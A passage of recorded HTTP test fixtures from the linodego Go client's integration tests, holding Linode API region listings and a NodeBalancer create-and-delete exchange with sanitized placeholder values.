"Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, 172.236.0.48", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:37:27 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":640276}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers method: POST response: body: '{"id": 767850, "label": "go-test-def", "region": "ap-west", "hostname": "172-105-46-52.ip.linodeusercontent.com", "ipv4": "172.105.46.52", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "334" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:37:27 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767850 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:37:27 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestNodeBalancer_Get.yaml000066400000000000000000000635361474652371000314410ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", 